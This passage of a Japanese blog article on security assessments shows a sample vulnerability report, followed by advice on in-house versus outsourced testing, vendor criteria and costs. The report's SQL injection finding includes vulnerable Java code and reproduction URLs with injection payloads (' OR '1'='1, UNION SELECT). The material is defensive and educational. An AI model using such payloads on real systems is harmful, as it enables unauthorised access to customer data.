- 診断種別:Webアプリケーション診断、プラットフォーム診断
- 診断手法:自動スキャン+手動診断

**重要な発見事項**
- Critical:2件(SQLインジェクション、リモートコード実行)
- High:5件(XSS、CSRF、認証不備等)
- Medium:12件
- Low:23件
- Info:15件

**総合評価**
現在のセキュリティレベル:**C(要改善)**
- 即座に対応が必要な重大な脆弱性が複数存在
- 基本的なセキュリティ対策の不備
- 定期的な診断体制の確立が必要

---

## 詳細な発見事項

### VULN-001: SQLインジェクション(Critical)

**基本情報**
- CVSSスコア:9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- CWE:CWE-89 (SQLインジェクション)
- OWASP:A03:2021 - Injection
- 発見箇所:/search?q=パラメータ

**概要**
商品検索機能において、ユーザー入力が適切にサニタイズされずにSQL文に組み込まれており、
任意のSQL文を実行可能な状態です。これにより、データベース内の全情報の取得、
改ざん、削除が可能です。

**技術的詳細**
脆弱なコード(推定):

String query = "SELECT * FROM products WHERE name LIKE '%" + request.getParameter("q") + "%'";
ResultSet rs = statement.executeQuery(query);


**再現手順**
1. ブラウザで以下のURLにアクセス

https://shop.example.com/search?q=' OR '1'='1

2. 全商品情報が表示されることを確認
3. 以下のペイロードでデータベース名を取得可能

https://shop.example.com/search?q=' UNION SELECT null,database(),null--


**影響範囲**
- 顧客個人情報(約10万件)の漏洩リスク
- クレジットカード情報への不正アクセス
- 商品価格の改ざん
- システム全体の破壊

**推奨対策**
1. **即時対応(24時間以内)**
   - WAFルールの追加によるSQLインジェクション攻撃のブロック
   - 該当機能の一時停止

2. **短期対策(1週間以内)**
   - プリペアドステートメントの使用

String sql = "SELECT * FROM products WHERE name LIKE ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, "%" + userInput + "%");
ResultSet rs = pstmt.executeQuery();


3. **長期対策(1ヶ月以内)**
   - ORMフレームワークの導入
   - 入力値検証の実装
   - 最小権限の原則に基づくDB接続アカウントの見直し

**参考情報**
- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
- [CWE-89: Improper Neutralization of Special Elements](https://cwe.mitre.org/data/definitions/89.html)

---

### VULN-002: クロスサイトスクリプティング(High)

[以下、同様の形式で各脆弱性を記載]

---

## 改善ロードマップ

### Phase 1: 緊急対応(1週間以内)
- [ ] SQLインジェクション対策
- [ ] 認証機能の修正
- [ ] WAF導入

### Phase 2: 短期改善(1ヶ月以内)
- [ ] XSS対策の実装
- [ ] CSRF トークンの実装
- [ ] セキュアコーディング研修

### Phase 3: 長期改善(3ヶ月以内)
- [ ] セキュリティ開発ライフサイクルの確立
- [ ] 定期診断体制の構築
- [ ] インシデント対応体制の整備

---

## 付録

### A. 診断環境
- 診断ツール:Burp Suite Pro v2025.1, OWASP ZAP 2.14
- 診断元IP:203.0.113.10
- User-Agent:SecurityScanner/1.0

### B. 免責事項
- 本診断は特定時点でのセキュリティ状態を示すものです
- 新たな脆弱性の発生可能性は常に存在します
- 対策実施後の再診断を推奨します

内製化vs外注の判断

内製化のメリット・デメリット

セキュリティ診断を内製化するかどうかは、組織の規模、技術力、予算によって決まります。

メリット

継続的な診断が可能
内製化により、開発サイクルに合わせた柔軟な診断が可能になります。CI/CDパイプラインに組み込むことで、コミット毎の自動診断も実現できます。

コスト削減(長期的)
初期投資は大きいものの、年間10回以上診断を行う場合、3年程度で投資回収が可能です。

社内ナレッジ蓄積
診断を通じて、開発者のセキュリティ意識が向上し、セキュアコーディングスキルが身につきます。

柔軟なスケジュール
外部ベンダーのスケジュールに依存せず、必要なタイミングで診断を実施できます。

デメリット

初期投資が大きい
ツールライセンス、トレーニング費用、人件費を合わせると、初年度は1000万円以上の投資が必要になる場合があります。

専門人材の確保困難
セキュリティエンジニアは売り手市場で、優秀な人材の採用・維持は困難です。

最新手法のキャッチアップ
攻撃手法は日々進化しており、継続的な学習と情報収集が必要です。

ツールライセンス費用
商用ツールの年間ライセンスは数百万円に上ることもあります。

外注先選定基準

外注する場合の選定基準を明確にすることが重要です:

評価項目チェックリスト

  • [ ] 診断実績(同業他社、同規模システムの経験)
  • [ ] 診断員の資格(CEH、OSCP、GPEN、情報処理安全確保支援士)
  • [ ] 報告書のサンプル品質(詳細度、改善提案の具体性)
  • [ ] 対応可能な診断種別(Web、プラットフォーム、ソースコード、ペンテスト)
  • [ ] 緊急対応体制(インシデント発生時のサポート)
  • [ ] 機密保持契約(NDA締結、情報管理体制)
  • [ ] 保険加入状況(診断による障害発生時の補償)
  • [ ] 費用の透明性(追加費用の有無、見積もりの詳細度)

費用相場

診断種別 規模 費用相場 期間
Webアプリ診断 10画面 50-100万円 1-2週間
Webアプリ診断 50画面 200-400万円 3-4週間
プラットフォーム診断 10サーバー 30-60万円 1週間
プラットフォーム診断 50サーバー 100-200万円 2-3週間
ペネトレーション 5日間 150-300万円 1-2週間
ペネトレーション 10日間 300-600万円 2-3週間
ソースコード診断 10万行 100-200万円 2週間
ソースコード診断 50万行 300-500万円 3-4週間

まとめ:継続的な診断の重要性

脆弱性診断とペネトレーションテストは、一度実施すれば終わりではありません。新しい脆弱性は日々発見され、システムも継続的に変更されています。

定期診断の自動化
CI/CDパイプラインへの組み込みにより、開発段階での脆弱性発見が可能になります。

結果のトレンド分析
診断結果を蓄積し、脆弱性の傾向を分析することで、根本的な改善につながります。

改善効果の測定
KPIを設定し、セキュリティ投資の効果を定量的に評価することが重要です。

投資対効果の可視化
経営層に対して、セキュリティ投資のROIを明確に示すことで、継続的な予算確保が可能になります。

セキュリティはコストではなく投資です。適切な診断と改善により、不正アクセスによるビジネスへの影響を最小限に抑えることができます。

継続的な診断と改善のサイクルこそが、真のセキュリティを実現します。


【重要なお知らせ】

  • 本記事の内容は教育目的であり、承認なき第三者システムへの診断は違法行為です
  • 診断ツールの使用は、必ず適切な承認を得てから行ってください
  • 発見した脆弱性は、責任ある開示の原則に従って対応してください
  • 診断により生じた損害について、当方は一切責任を負いません

更新履歴

初稿公開

京都開発研究所

システム開発/サーバ構築・保守/技術研究

CMSの独自開発および各業務管理システム開発を行っており、 10年以上にわたり自社開発CMSにて作成してきた70,000以上のサイトを 自社で管理するサーバに保守管理する。